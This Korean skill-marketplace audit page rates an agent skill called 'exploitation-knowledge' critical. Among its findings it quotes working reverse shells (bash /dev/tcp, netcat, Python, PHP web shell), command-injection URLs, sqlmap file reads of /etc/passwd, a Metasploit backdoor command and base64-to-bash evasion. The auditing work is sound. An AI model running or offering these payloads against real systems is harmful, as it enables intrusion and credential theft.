📦
pentest-coordinator
38승인된 랩 침투 테스트 조율
침투 테스트 랩은 정찰, 익스플로잇, 권한 상승 전반에서 세심한 상태 추적이 필요합니다. 이 스킬은 구조화된 노트, 시도 기록, 완료 기준을 통해 승인된 랩 워크플로를 조율합니다.
보안 및 컴플라이언스 보기
스킬 exploitation-knowledge
📦
exploitation-knowledge
콘텐츠 리비전 r1 치명적 ⚙️ 외부 명령어🌐 네트워크 접근📁 파일 시스템 접근
익스플로잇 기법 및 셸 액세스 평가
보안 팀에는 익스플로잇 워크플로를 검토하고 운영상 위험을 이해할 수 있는 구조화된 방법이 필요합니다. 이 skill은 통제된 실습실 또는 감사 검토를 위해 익스플로잇 방법, 페이로드 선택, 액세스 후 점검을 정리합니다.
지원: Claude Codex Code(CC)
이 Skill을 자동으로 설치하지 마세요.
공식 정책에 따라 설치 작업 전에 운영자 검토가 필요합니다.
내 에이전트로 설치
이 요청을 에이전트에 복사하세요. 공식 Skill 페이지와 매니페스트가 포함되어 있습니다.
에이전트 요청
Review the Skillstore skill "exploitation-knowledge" from https://skillstore.io/skills/charleskozel-exploitation-knowledge.md and its manifest at https://skillstore.io/api/skills/charleskozel-exploitation-knowledge/manifest. Verify the artifact. Do not auto-install. Inspect the skill and report your findings, then wait for an operator or manual installation decision.에이전트는 계속해서 계획을 표시하고 보안 정책에서 요구하는 확인을 요청해야 합니다.
에이전트가 읽기 쉬운 리소스
AI 에이전트, 크롤러, 스크립트가 전체 페이지 대신 정리된 컨텍스트만 필요할 때 이 링크를 사용하세요.
테스트해 보기
"exploitation-knowledge" 사용 중입니다. 교육 코디네이터를 위해 skill을 요약하세요.
예상 결과:
이 skill은 익스플로잇 발견, 페이로드 선택, 셸 처리, 액세스 후 검증을 설명합니다. 실행 가능한 공격 절차가 포함되어 있으므로 감독되는 실습실로 제한해야 합니다.
"exploitation-knowledge" 사용 중입니다. 가장 위험도가 높은 콘텐츠 영역을 찾으세요.
예상 결과:
- 리버스 셸 페이로드와 리스너 설정은 직접적인 셸 액세스 위험을 만듭니다.
- Metasploit 및 익스플로잇 다운로드 단계는 실제 침해 워크플로를 가능하게 합니다.
- 시스템 파일 읽기 및 플래그 캡처 단계는 침해 후 데이터 수집을 조장합니다.
"exploitation-knowledge" 사용 중입니다. 방어자를 위해 주제를 재작성하세요.
예상 결과:
워크플로를 탐지 엔지니어링으로 구성하세요. 웹 셸 지표, 비정상적인 아웃바운드 연결, 명령 주입 텔레메트리, 자격 증명 오용에 대한 제어에 집중하세요.
보안 감사
치명적v9 • 2026. 7. 9. 버전별 보고서 열기
AI adjudication confirms that the skill is an operational exploitation playbook with reverse shells, Metasploit usage, command injection, credential testing, system file reads, and flag capture. Several markdown-only detections were marked false positive, but the confirmed static findings and semantic findings show high misuse potential. No prompt injection attempt was found in SKILL.md.
1
스캔된 파일
525
분석된 줄 수
97
검토 항목
0
오탐 무시됨
확인된 보안 우려 사항 (23)
치명적
Metasploit framework
- `msfconsole` - Metasploit framework
The skill references Metasploit as part of exploit discovery, execution, or troubleshooting. Metasploit use is actionable offensive tooling in this context.
치명적
Metasploit framework
# Layer 2: Metasploit framework
The skill references Metasploit as part of exploit discovery, execution, or troubleshooting. Metasploit use is actionable offensive tooling in this context.
치명적
Metasploit framework
#### B. Metasploit Exploits
The skill references Metasploit as part of exploit discovery, execution, or troubleshooting. Metasploit use is actionable offensive tooling in this context.
치명적
Metasploit framework
# Type 4: Tool-specific failure (e.g., Metasploit fails)
The skill references Metasploit as part of exploit discovery, execution, or troubleshooting. Metasploit use is actionable offensive tooling in this context.
치명적
Metasploit framework
- Bug in Metasploit module
The skill references Metasploit as part of exploit discovery, execution, or troubleshooting. Metasploit use is actionable offensive tooling in this context.
치명적
Metasploit framework
"tool": "metasploit",
The skill references Metasploit as part of exploit discovery, execution, or troubleshooting. Metasploit use is actionable offensive tooling in this context.
치명적
Malware type keywords
msfconsole -q -x "use exploit/linux/http/webmin_backdoor; set RHOSTS 10.10.10.1; set LHOST YOUR_IP;
The Metasploit command selects a webmin_backdoor exploit module and configures a target and listener. This is direct backdoor exploitation guidance.
치명적
System password file access
sqlmap -u "http://TARGET/page.php?id=1" --file-read=/etc/passwd
The line directs reading /etc/passwd through SQLi, command injection, or a web shell. Accessing system password files after exploitation is a critical post-compromise behavior.
확인된 23건 모두 보기
치명적
System password file access
# Try: cat /etc/passwd
The line directs reading /etc/passwd through SQLi, command injection, or a web shell. Accessing system password files after exploitation is a critical post-compromise behavior.
치명적
System password file access
curl http://TARGET/shell.php?cmd=cat+/etc/passwd
The line directs reading /etc/passwd through SQLi, command injection, or a web shell. Accessing system password files after exploitation is a critical post-compromise behavior.
치명적
Base64 decode to shell
- Base64: echo BASE64 | base64 -d | bash
The line recommends decoding Base64 and piping it to bash as a filter bypass. That is payload evasion for command execution.
치명적
End-to-End Initial Access Workflow
The skill states that it converts vulnerabilities into access, establishes shells, and captures user flags. This is an operational compromise workflow, not only conceptual security education.
The purpose and success criteria explicitly include command execution, shell access, and user flag capture. Those goals confirm offensive intent beyond individual command patterns.
치명적
Payload Evasion and Filter Bypass Guidance
The skill instructs users to adapt payloads when special characters, keywords, WAFs, or IDS controls block commands. This supports evasion of protective controls during exploitation.
The lines explicitly discuss encoding, command alternatives, WAF or IDS blocking, and slower approaches after timeouts. This is high-confidence evasion intent.
치명적
Post-Compromise Data Capture Workflow
The skill directs users to locate, read, verify, and store user flag data after command execution. The output format also records user access and captured flag values.
The workflow repeatedly references finding user.txt, reading it, storing it, and reporting it as successful exploitation. This is explicit post-compromise data collection.
높음
Network reconnaissance
- cat → head, tail, nl, more, less
The line provides alternatives such as /dev/tcp, telnet, or socat to keep network shell capability when commands are filtered. The category is broad, but the exploitation support is real.
높음
Credential Abuse Guidance
The skill recommends hydra and default credential testing for SSH, FTP, MySQL, and web administration panels. This guidance can enable unauthorized credential attacks outside an approved lab.
The cited lines name brute-force tooling and give service-specific default credential attempts. The context is initial access, which makes the misuse risk clear.
중간
System reconnaissance
id
The command is used after exploitation to verify identity, shell context, or command execution. This is post-compromise reconnaissance.
중간
System reconnaissance
whoami
The command is used after exploitation to verify identity, shell context, or command execution. This is post-compromise reconnaissance.
중간
System reconnaissance
curl http://TARGET/uploads/shell.php?cmd=id
The command is used after exploitation to verify identity, shell context, or command execution. This is post-compromise reconnaissance.
중간
System reconnaissance
curl "http://TARGET/ping.php?ip=127.0.0.1|whoami"
The command is used after exploitation to verify identity, shell context, or command execution. This is post-compromise reconnaissance.
중간
System reconnaissance
curl "http://TARGET/ping.php?ip=127.0.0.1`whoami`"
The command is used after exploitation to verify identity, shell context, or command execution. This is post-compromise reconnaissance.
중간
System reconnaissance
curl http://TARGET/shell.php?cmd=id;whoami;pwd
The command is used after exploitation to verify identity, shell context, or command execution. This is post-compromise reconnaissance.
중간
System reconnaissance
3. **Verify success** - always test access with `id`, `whoami`
The command is used after exploitation to verify identity, shell context, or command execution. This is post-compromise reconnaissance.
기능 검토 항목 (97)
이 스킬에 대해 예상될 수 있는 실제 로컬 기능이므로 검토가 필요하지만, 확인된 악의적 동작으로는 집계되지 않습니다.
치명적
Python subprocess.call
python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect
The Python snippet creates a socket to an attacker-controlled host and invokes /bin/bash with subprocess.call. This is a direct reverse shell payload.
치명적
Python PTY spawn (shell access)
python3 -c 'import pty;pty.spawn("/bin/bash")'
The line explicitly spawns /bin/bash using Python pty after shell access. This improves interactive shell control during post-exploitation.
치명적
Ruby/shell backtick execution
- `msfconsole` - Metasploit framework
The section directs Metasploit exploit search or execution. This is actionable exploitation tooling, not a benign administrative command.
치명적
Ruby/shell backtick execution
- `sqlmap` - SQL injection
The section uses SQL injection tooling to test, obtain an OS shell, or read system files. This is actionable web exploitation guidance.
치명적
Ruby/shell backtick execution
```python
The snippet adapts exploit code to embed a bash reverse shell payload. That is actionable payload construction.
치명적
Ruby/shell backtick execution
```
The section directs Metasploit exploit search or execution. This is actionable exploitation tooling, not a benign administrative command.
치명적
Ruby/shell backtick execution
```bash
The section directs Metasploit exploit search or execution. This is actionable exploitation tooling, not a benign administrative command.
치명적
Ruby/shell backtick execution
```
The section directs Metasploit exploit search or execution. This is actionable exploitation tooling, not a benign administrative command.
치명적
Ruby/shell backtick execution
```bash
The block provides ready reverse shell payloads for bash, Python, PHP, and netcat. These are direct shell access techniques.
치명적
Ruby/shell backtick execution
```
The section tests command injection and escalates to reverse shell execution. These commands are directly actionable attack steps.
치명적
Ruby/shell backtick execution
```bash
The section uses SQL injection tooling to test, obtain an OS shell, or read system files. This is actionable web exploitation guidance.
치명적
Ruby/shell backtick execution
```
The section tests command injection and escalates to reverse shell execution. These commands are directly actionable attack steps.
치명적
Ruby/shell backtick execution
```bash
The section tests command injection and escalates to reverse shell execution. These commands are directly actionable attack steps.
치명적
Ruby/shell backtick execution
curl "http://TARGET/ping.php?ip=127.0.0.1`whoami`"
The section tests command injection and escalates to reverse shell execution. These commands are directly actionable attack steps.
치명적
Ruby/shell backtick execution
```
The section tests command injection and escalates to reverse shell execution. These commands are directly actionable attack steps.
치명적
Ruby/shell backtick execution
```bash
The commands execute target-side actions through a web shell, including file reads and identity checks. This is remote command execution guidance.
치명적
Ruby/shell backtick execution
```
The section sets up background reverse shells using netcat and named pipes. This is direct shell maintenance behavior.
치명적
Ruby/shell backtick execution
```bash
The section sets up background reverse shells using netcat and named pipes. This is direct shell maintenance behavior.
치명적
Ruby/shell backtick execution
```
The section locates, reads, verifies, and stores user flag data after gaining command execution. This is post-compromise data capture.
치명적
Ruby/shell backtick execution
```bash
The section locates, reads, verifies, and stores user flag data after gaining command execution. This is post-compromise data capture.
치명적
Ruby/shell backtick execution
```
The section locates, reads, verifies, and stores user flag data after gaining command execution. This is post-compromise data capture.
치명적
Ruby/shell backtick execution
```bash
The section locates, reads, verifies, and stores user flag data after gaining command execution. This is post-compromise data capture.
치명적
Ruby/shell backtick execution
```
The section locates, reads, verifies, and stores user flag data after gaining command execution. This is post-compromise data capture.
치명적
Ruby/shell backtick execution
```bash
The section locates, reads, verifies, and stores user flag data after gaining command execution. This is post-compromise data capture.
치명적
Ruby/shell backtick execution
```
The section locates, reads, verifies, and stores user flag data after gaining command execution. This is post-compromise data capture.
치명적
Ruby/shell backtick execution
```
The section locates, reads, verifies, and stores user flag data after gaining command execution. This is post-compromise data capture.
치명적
Ruby/PHP system() call
<?php system("bash -c 'bash -i >& /dev/tcp/YOUR_IP/4444 0>&1'"); ?>
The PHP snippet calls system() with a bash reverse shell payload. This is directly usable web-shell code for remote command execution.
치명적
Unix shell invocation
shell = "/bin/bash -c 'bash -i >& /dev/tcp/YOUR_IP/4444 0>&1'"
The line defines a bash /dev/tcp reverse shell as an exploit payload. It is designed to obtain shell access from a target.
치명적
Unix shell invocation
python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect
The line invokes /bin/bash from Python after opening a network socket. This is a direct reverse shell implementation.
치명적
Unix shell invocation
nc YOUR_IP 4444 -e /bin/bash
The netcat command launches /bin/bash with -e for reverse shell access. This is direct remote shell behavior.
치명적
Unix shell invocation
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc YOUR_IP 4444 >/tmp/f
The named-pipe netcat command connects /bin/bash to a remote listener. This is a known reverse shell technique.
치명적
Unix shell invocation
python3 -c 'import pty;pty.spawn("/bin/bash")'
The Python pty command upgrades a shell to an interactive bash session. It is explicit post-exploitation shell stabilization.
치명적
Unix shell invocation
nc YOUR_IP 4444 < /tmp/pipe | /bin/bash > /tmp/pipe 2>&1 &
The named-pipe command bridges netcat to /bin/bash in the background. It provides persistent interactive shell handling.
치명적
Hardcoded URL
sqlmap -u "http://TARGET/page.php?id=1" --file-read=/etc/passwd
The URL appears in an actionable target-interaction command for upload, SQL injection, command injection, web-shell execution, or reverse shell setup. This is operational exploitation guidance.
치명적
Hardcoded URL
curl http://TARGET/shell.php?cmd=cat+/etc/passwd
The URL appears in an actionable target-interaction command for upload, SQL injection, command injection, web-shell execution, or reverse shell setup. This is operational exploitation guidance.
치명적
Hardcoded IP address
msfconsole -q -x "use exploit/linux/http/webmin_backdoor; set RHOSTS 10.10.10.1; set LHOST YOUR_IP;
The IP appears inside a Metasploit module command that configures a target and listener. The command is actionable exploit execution.
치명적
Temp directory access
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc YOUR_IP 4444 >/tmp/f
The temp path is used for named pipes that connect netcat to /bin/bash. That is a reverse shell mechanism, not harmless temporary-file use.
치명적
Temp directory access
mkfifo /tmp/pipe
The temp path is used for named pipes that connect netcat to /bin/bash. That is a reverse shell mechanism, not harmless temporary-file use.
치명적
Temp directory access
nc YOUR_IP 4444 < /tmp/pipe | /bin/bash > /tmp/pipe 2>&1 &
The temp path is used for named pipes that connect netcat to /bin/bash. That is a reverse shell mechanism, not harmless temporary-file use.
높음
Process spawn
python3 -c 'import pty;pty.spawn("/bin/bash")'
The line spawns /bin/bash through Python pty as part of shell stabilization. That is actionable post-exploitation shell control.
높음
Ruby/shell backtick execution
- `rlwrap nc` - Stabilize shells
The lines prepare netcat or rlwrap listeners for shell sessions. Listener setup is a necessary step for reverse shell exploitation.
높음
Ruby/shell backtick execution
- `curl` - Manual web testing
The section uses HTTP tooling to upload, locate, or trigger a web shell. This supports unauthorized remote command execution if misused.
높음
Ruby/shell backtick execution
- `hydra` - Service brute force (limited use)
The line lists hydra for credential brute forcing. Automated credential attacks are a real misuse risk.
높음
Ruby/shell backtick execution
- `ssh`/`ftp`/`mysql` - Test discovered credentials
The section recommends testing discovered or default credentials against services. This can enable unauthorized access when used outside a scoped lab.
높음
Ruby/shell backtick execution
```
The lines prepare netcat or rlwrap listeners for shell sessions. Listener setup is a necessary step for reverse shell exploitation.
높음
Ruby/shell backtick execution
```bash
The lines prepare netcat or rlwrap listeners for shell sessions. Listener setup is a necessary step for reverse shell exploitation.
높음
Ruby/shell backtick execution
```
The lines prepare netcat or rlwrap listeners for shell sessions. Listener setup is a necessary step for reverse shell exploitation.
높음
Ruby/shell backtick execution
```bash
The section upgrades a basic shell into an interactive TTY. This is post-exploitation shell stabilization.
높음
Ruby/shell backtick execution
```
The section upgrades a basic shell into an interactive TTY. This is post-exploitation shell stabilization.
높음
Ruby/shell backtick execution
```bash
The section uses HTTP tooling to upload, locate, or trigger a web shell. This supports unauthorized remote command execution if misused.
높음
Ruby/shell backtick execution
```
The section recommends testing discovered or default credentials against services. This can enable unauthorized access when used outside a scoped lab.
높음
Ruby/shell backtick execution
```bash
The section recommends testing discovered or default credentials against services. This can enable unauthorized access when used outside a scoped lab.
높음
Ruby/shell backtick execution
```
The section probes target capabilities and writable paths after RCE to select payloads. This is exploitation preparation on a compromised target.
높음
Ruby/shell backtick execution
```
The section probes target capabilities and writable paths after RCE to select payloads. This is exploitation preparation on a compromised target.
높음
Ruby/shell backtick execution
```bash
The section probes target capabilities and writable paths after RCE to select payloads. This is exploitation preparation on a compromised target.
높음
Ruby/shell backtick execution
```
The section probes target capabilities and writable paths after RCE to select payloads. This is exploitation preparation on a compromised target.
높음
Ruby/shell backtick execution
```
The section chooses reverse shell methods and tests web-shell commands against a target. It includes payload adaptation and retry logic.
높음
Ruby/shell backtick execution
```
The section chooses reverse shell methods and tests web-shell commands against a target. It includes payload adaptation and retry logic.
높음
Ruby/shell backtick execution
```bash
The section chooses reverse shell methods and tests web-shell commands against a target. It includes payload adaptation and retry logic.
높음
Shell command substitution
USER_FLAG=$(cat /home/username/user.txt)
The command substitution reads a user flag file and stores it in local state after compromise. That is post-exploitation data capture.
높음
Template literal with command substitution
```bash
The command substitution reads a user flag file and stores it in local state after compromise. That is post-exploitation data capture.
높음
Hardcoded URL
curl -F "file=@shell.php" http://TARGET/upload.php
The URL appears in an actionable target-interaction command for upload, SQL injection, command injection, web-shell execution, or reverse shell setup. This is operational exploitation guidance.
높음
Hardcoded URL
gobuster dir -u http://TARGET/uploads -x php,phtml
The URL appears in an actionable target-interaction command for upload, SQL injection, command injection, web-shell execution, or reverse shell setup. This is operational exploitation guidance.
높음
Hardcoded URL
curl http://TARGET/uploads/shell.php?cmd=id
The URL appears in an actionable target-interaction command for upload, SQL injection, command injection, web-shell execution, or reverse shell setup. This is operational exploitation guidance.
높음
Hardcoded URL
sqlmap -u "http://TARGET/page.php?id=1" --batch --level=5 --risk=3
The URL appears in an actionable target-interaction command for upload, SQL injection, command injection, web-shell execution, or reverse shell setup. This is operational exploitation guidance.
높음
Hardcoded URL
sqlmap -u "http://TARGET/page.php?id=1" --os-shell
The URL appears in an actionable target-interaction command for upload, SQL injection, command injection, web-shell execution, or reverse shell setup. This is operational exploitation guidance.
높음
Hardcoded URL
curl "http://TARGET/ping.php?ip=127.0.0.1;id"
The URL appears in an actionable target-interaction command for upload, SQL injection, command injection, web-shell execution, or reverse shell setup. This is operational exploitation guidance.
높음
Hardcoded URL
curl "http://TARGET/ping.php?ip=127.0.0.1|whoami"
The URL appears in an actionable target-interaction command for upload, SQL injection, command injection, web-shell execution, or reverse shell setup. This is operational exploitation guidance.
높음
Hardcoded URL
curl "http://TARGET/ping.php?ip=127.0.0.1`whoami`"
The URL appears in an actionable target-interaction command for upload, SQL injection, command injection, web-shell execution, or reverse shell setup. This is operational exploitation guidance.
높음
Hardcoded URL
curl "http://TARGET/ping.php?ip=;bash -c 'bash -i >& /dev/tcp/YOUR_IP/4444 0>&1'"
The URL appears in an actionable target-interaction command for upload, SQL injection, command injection, web-shell execution, or reverse shell setup. This is operational exploitation guidance.
높음
Hardcoded URL
wget https://raw.githubusercontent.com/user/repo/exploit.py
The command downloads an exploit proof of concept from a raw GitHub URL. Pulling unreviewed exploit code is a real supply-chain and misuse risk.
높음
Hardcoded URL
curl "http://TARGET/shell.php?cmd=which nc"
The URL appears in an actionable target-interaction command for upload, SQL injection, command injection, web-shell execution, or reverse shell setup. This is operational exploitation guidance.
높음
Hardcoded URL
curl "http://TARGET/shell.php?cmd=which python3"
The URL appears in an actionable target-interaction command for upload, SQL injection, command injection, web-shell execution, or reverse shell setup. This is operational exploitation guidance.
높음
Hardcoded URL
curl "http://TARGET/shell.php?cmd=python3 -c 'import socket,subprocess...'"
The URL appears in an actionable target-interaction command for upload, SQL injection, command injection, web-shell execution, or reverse shell setup. This is operational exploitation guidance.
높음
Hardcoded URL
curl http://TARGET/shell.php?cmd=cd+/home;ls+-la
The URL appears in an actionable target-interaction command for upload, SQL injection, command injection, web-shell execution, or reverse shell setup. This is operational exploitation guidance.
높음
Hardcoded URL
curl http://TARGET/shell.php?cmd=id;whoami;pwd
The URL appears in an actionable target-interaction command for upload, SQL injection, command injection, web-shell execution, or reverse shell setup. This is operational exploitation guidance.
높음
Hardcoded IP address
curl "http://TARGET/ping.php?ip=127.0.0.1;id"
The URL appears in an actionable target-interaction command for upload, SQL injection, command injection, web-shell execution, or reverse shell setup. This is operational exploitation guidance.
높음
Hardcoded IP address
curl "http://TARGET/ping.php?ip=127.0.0.1|whoami"
The URL appears in an actionable target-interaction command for upload, SQL injection, command injection, web-shell execution, or reverse shell setup. This is operational exploitation guidance.
높음
Hardcoded IP address
curl "http://TARGET/ping.php?ip=127.0.0.1`whoami`"
The URL appears in an actionable target-interaction command for upload, SQL injection, command injection, web-shell execution, or reverse shell setup. This is operational exploitation guidance.
높음
Standard device file access
find / -name "user.txt" 2>/dev/null
The filesystem search is explicitly for user flag files after command execution is gained. This is post-compromise data discovery.
높음
Standard device file access
find /home -name "user.txt" 2>/dev/null
The filesystem search is explicitly for user flag files after command execution is gained. This is post-compromise data discovery.
높음
Standard device file access
find /home -name "*.txt" 2>/dev/null
The filesystem search is explicitly for user flag files after command execution is gained. This is post-compromise data discovery.
높음
Non-standard device file access
ls -la /tmp /dev/shm /var/tmp
The line checks writable directories such as /tmp and /dev/shm after target RCE. Those locations are commonly used for payload staging.
중간
Ruby/shell backtick execution
- `searchsploit` - Local exploit-db search
The command guidance searches for public exploit code and proof-of-concept material. In this skill it supports selecting attacks for target compromise.
중간
Ruby/shell backtick execution
```bash
The command guidance searches for public exploit code and proof-of-concept material. In this skill it supports selecting attacks for target compromise.
중간
Ruby/shell backtick execution
```bash
The lines run an exploit and verify access with identity and working-directory commands. This is post-exploitation validation.
중간
Ruby/shell backtick execution
```
The lines run an exploit and verify access with identity and working-directory commands. This is post-exploitation validation.
중간
Ruby/shell backtick execution
```bash
The command guidance searches for public exploit code and proof-of-concept material. In this skill it supports selecting attacks for target compromise.
중간
Ruby/shell backtick execution
```bash
The prose guides diagnosing failed exploits, switching payloads, and continuing exploitation attempts. It is operational offensive methodology.
중간
Ruby/shell backtick execution
```bash
The prose guides diagnosing failed exploits, switching payloads, and continuing exploitation attempts. It is operational offensive methodology.
중간
Ruby/shell backtick execution
```
The prose guides diagnosing failed exploits, switching payloads, and continuing exploitation attempts. It is operational offensive methodology.
중간
Ruby/shell backtick execution
- Check listener is running: `netstat -tlnp | grep 4444`
The troubleshooting guidance supports reverse shell operation and exploit dependency resolution. It is not standalone malware, but it enables offensive execution.
중간
Ruby/shell backtick execution
- Install: `pip3 install requests pycrypto`
The troubleshooting guidance supports reverse shell operation and exploit dependency resolution. It is not standalone malware, but it enables offensive execution.
중간
Ruby/shell backtick execution
```
The prose guides diagnosing failed exploits, switching payloads, and continuing exploitation attempts. It is operational offensive methodology.
중간
Ruby/shell backtick execution
3. **Verify success** - always test access with `id`, `whoami`
The lines run an exploit and verify access with identity and working-directory commands. This is post-exploitation validation.
낮음
Hardcoded URL
curl -s "https://api.github.com/search/repositories?q=CVE-YYYY-XXXXX+exploit" | jq -r '.items[].html
The command queries GitHub for public exploit repositories. It is not credential exfiltration, but it supports acquisition of offensive proof-of-concept code.
낮음
Hardcoded URL
curl -s "https://api.github.com/search/repositories?q=CVE-2021-XXXX" | jq -r '.items[].html_url'
The command queries GitHub for public exploit repositories. It is not credential exfiltration, but it supports acquisition of offensive proof-of-concept code.
위험 요인
⚙️ 외부 명령어 (50)
SKILL.md:160 SKILL.md:116 SKILL.md:160 SKILL.md:22 SKILL.md:23 SKILL.md:29 SKILL.md:32 SKILL.md:33 SKILL.md:38 SKILL.md:39 SKILL.md:49-72 SKILL.md:72-78 SKILL.md:78-93 SKILL.md:93-102 SKILL.md:102-105 SKILL.md:105-108 SKILL.md:108-111 SKILL.md:111-125 SKILL.md:125-131 SKILL.md:131-137 SKILL.md:137-143 SKILL.md:143-152 SKILL.md:152-158 SKILL.md:158-164 SKILL.md:164-170 SKILL.md:170-182 SKILL.md:182-186 SKILL.md:186-195 SKILL.md:195-199 SKILL.md:199-203 SKILL.md:203-207 SKILL.md:207-211 SKILL.md:211-223 SKILL.md:223-229 SKILL.md:229-241 SKILL.md:241-250 SKILL.md:250-260 SKILL.md:260-263 SKILL.md:263-278 SKILL.md:278-284 SKILL.md:284-305 SKILL.md:305-308 SKILL.md:308-324 SKILL.md:324-330 SKILL.md:330-357 SKILL.md:357-360 SKILL.md:360-368 SKILL.md:368-375 SKILL.md:375-384 SKILL.md:384-387
🌐 네트워크 접근 (24)
SKILL.md:63 SKILL.md:172 SKILL.md:178 SKILL.md:181 SKILL.md:188 SKILL.md:191 SKILL.md:194 SKILL.md:201 SKILL.md:202 SKILL.md:203 SKILL.md:206 SKILL.md:216 SKILL.md:219 SKILL.md:310 SKILL.md:314 SKILL.md:318 SKILL.md:377 SKILL.md:380 SKILL.md:383 SKILL.md:100 SKILL.md:107 SKILL.md:201 SKILL.md:202 SKILL.md:203
📁 파일 시스템 접근 (7)
감지된 패턴
Metasploit framework×6Malware type keywordsSystem password file access×3Base64 decode to shellSystem reconnaissance×7Network reconnaissance
감사자: codex 감사 이력 보기 →
이 보고서 공유 및 인용
버전이 지정된 평가 보고서, 중립 배지, 임베드 카드 및 인용을 공유하세요. Skillstore는 근거를 보고하지만 이 Skill의 안전 여부를 판단하지 않습니다.
보고서 링크 복사
https://skillstore.io/skills/charleskozel-exploitation-knowledge/audits/9?utm_source=security_passport&utm_medium=share&utm_campaign=versioned_reportMarkdown 배지
[](https://skillstore.io/skills/charleskozel-exploitation-knowledge?utm_source=security_passport_badge)HTML 배지
<a href="https://skillstore.io/skills/charleskozel-exploitation-knowledge?utm_source=security_passport_badge"><img src="https://skillstore.io/badges/skills/charleskozel-exploitation-knowledge/security.svg" alt="Skillstore security assessment" loading="lazy"></a>임베드 카드
<iframe src="https://skillstore.io/embed/skills/charleskozel-exploitation-knowledge.html" title="Skillstore Security Assessment" sandbox="allow-popups allow-popups-to-escape-sandbox" loading="lazy" referrerpolicy="no-referrer" width="420" height="180"></iframe>학술 인용 (APA · BibTeX · CFF)
APA 인용
CharlesKozel. (2026). exploitation-knowledge security audit report (audit version 9) [Author version unspecified]. Skillstore. https://skillstore.io/skills/charleskozel-exploitation-knowledge/audits/9BibTeX 인용
@techreport{charleskozel-charleskozel-exploitation-knowledge-2026,
author = {CharlesKozel},
title = {exploitation-knowledge security audit report (audit version 9)},
institution = {Skillstore},
year = {2026},
number = {9},
url = {https://skillstore.io/skills/charleskozel-exploitation-knowledge/audits/9},
note = {Author version unspecified}
}CITATION.cff
cff-version: 1.2.0
message: "If you use this Skill, cite its author and this versioned security audit report."
title: "exploitation-knowledge security audit report (audit version 9)"
version: "unspecified"
type: report
authors:
- name: "CharlesKozel"
date-released: "2026-07-09"
url: "https://skillstore.io/skills/charleskozel-exploitation-knowledge/audits/9"
identifiers:
- type: other
value: "skillstore:charleskozel-exploitation-knowledge:audit:9"
description: "Skillstore immutable audit report identifier"
Skillstore 점수
이 점수의 이유 증거 신뢰도: 중간 55
아키텍처
85
유지보수성
85
콘텐츠
72
커뮤니티
78
사양 준수
만들 수 있는 것
실습실 익스플로잇 단계 검토
취약점 발견부터 초기 액세스 및 액세스 후 검증까지 통제된 교육 실습을 매핑합니다.
공격 플레이북 감사
게시 전에 제거, 재작성 또는 제한해야 하는 위험한 익스플로잇 콘텐츠를 식별합니다.
방어 탐지 준비
나열된 익스플로잇 행위를 리버스 셸, 웹 셸, 명령 주입에 대한 탐지 아이디어로 변환합니다.
이 프롬프트를 사용해 보세요
안전한 학습 목표 요약
통제된 보안 교육 실습실용으로 이 skill을 요약하세요. 학습 목표, 안전 경계, 방어적 검토 지점에 집중하세요.
위험한 섹션 식별
이 skill을 검토하고 실행 가능한 익스플로잇, 셸 액세스, 자격 증명 악용 또는 데이터 캡처 지침이 포함된 섹션을 나열하세요.
방어 지침으로 변환
익스플로잇 워크플로를 방어적 모니터링 지침으로 변환하세요. 지표, 로그, 제어, 허가된 테스트 한계를 강조하세요.
게시 개선 계획 수립
실행 가능한 공격 단계를 제거하고, 고수준 교육 내용을 보존하며, 범위, 승인, 탐지 관점을 추가하는 개선 계획을 작성하세요.
모범 사례
- 이 콘텐츠는 허가된 실습실, 통제된 감사 또는 방어적 콘텐츠 검토에만 사용하세요.
- 광범위하게 공유하기 전에 공격 절차를 탐지 로직과 완화 지침으로 변환하세요.
- 교육 자료를 게시하기 전에 실행 가능한 페이로드와 대상 상호작용 단계를 제거하세요.
피하기
- 명시적인 서면 승인 없이 시스템에 액세스하기 위해 skill을 사용하는 것.
- 제한 없이 리버스 셸 페이로드, 익스플로잇 실행 단계 또는 파일 읽기 명령을 게시하는 것.
- 플래그 캡처, 자격 증명 테스트 또는 셸 안정화를 허용 가능한 범용 자동화로 취급하는 것.
자주 묻는 질문
이 skill은 자동 설치에 안전한가요?
아니요. 실행 가능한 익스플로잇 지침이 포함되어 있으며, 사용 전 엄격한 검토가 필요합니다.
주요 보안 우려 사항은 무엇인가요?
이 skill은 익스플로잇 발견, 셸 액세스, 명령 주입, 액세스 후 데이터 캡처를 위한 실제 단계를 제공합니다.
방어 작업에 사용할 수 있나요?
예, 콘텐츠를 탐지, 완화, 허가된 실습실 분석 관점으로 재구성한다면 사용할 수 있습니다.
이 skill은 승인 확인을 강제하나요?
아니요. 오용을 방지하는 범위 검증, 동의 확인 또는 기술적 제어가 포함되어 있지 않습니다.
게시 전에 무엇을 제거해야 하나요?
실행 가능한 익스플로잇 명령, 리버스 셸 페이로드, 파일 읽기 단계, 플래그 캡처 워크플로, 회피 지침은 제거해야 합니다.
누가 이 skill을 검토해야 하나요?
공격 보안 지식이 있는 보안 검토자가 marketplace 배포 전에 검토해야 합니다.
개발자 세부 정보
작성자
CharlesKozel라이선스
MIT
Skillstore 리비전
r1
버전 안내
작성자가 버전을 선언하지 않았습니다.
참조
3e4b6c31a74a3bd1a291c98cf585d720cb9fbc88
유지보수 최신성
2026. 7. 18.
사용량
6 다운로드 · 307 조회
파일 구조
📄 SKILL.md
CharlesKozel의 다른 스킬
전체 보기📦
coordinator
38CTF 침투 테스트 조율
승인된 보안 랩에서는 정찰, 익스플로잇, 권한 상승 전반의 추적이 필요한 경우가 많습니다. 이 스킬은 통제된 CTF 스타일 평가를 위해 에이전트 위임과 상태 기반 의사결정을 조율합니다.
보안 및 컴플라이언스 보기
📦
privilege-escalation-knowledge
38Linux 권한 상승 경로 감사
Linux 권한 상승 검토에는 신중한 열거와 엄격한 승인이 필요합니다. 이 스킬은 통제된 실습 환경과 방어적 감사를 위해 일반적인 점검 항목, 위험한 벡터, 증거 수집을 체계화합니다.
보안 및 컴플라이언스 보기
📦
reconnaissance-knowledge
38지도 정찰 워크플로
보안 팀은 승인된 대상의 인벤토리를 작성하기 위한 구조화된 방법이 필요합니다. 이 스킬은 통제된 평가를 위한 정찰 단계, 증거 캡처, 보고를 체계화합니다.
보안 및 컴플라이언스 보기
관련 스킬
전체 보기📦
web-security-testing
80OWASP 웹 보안 테스트 실행
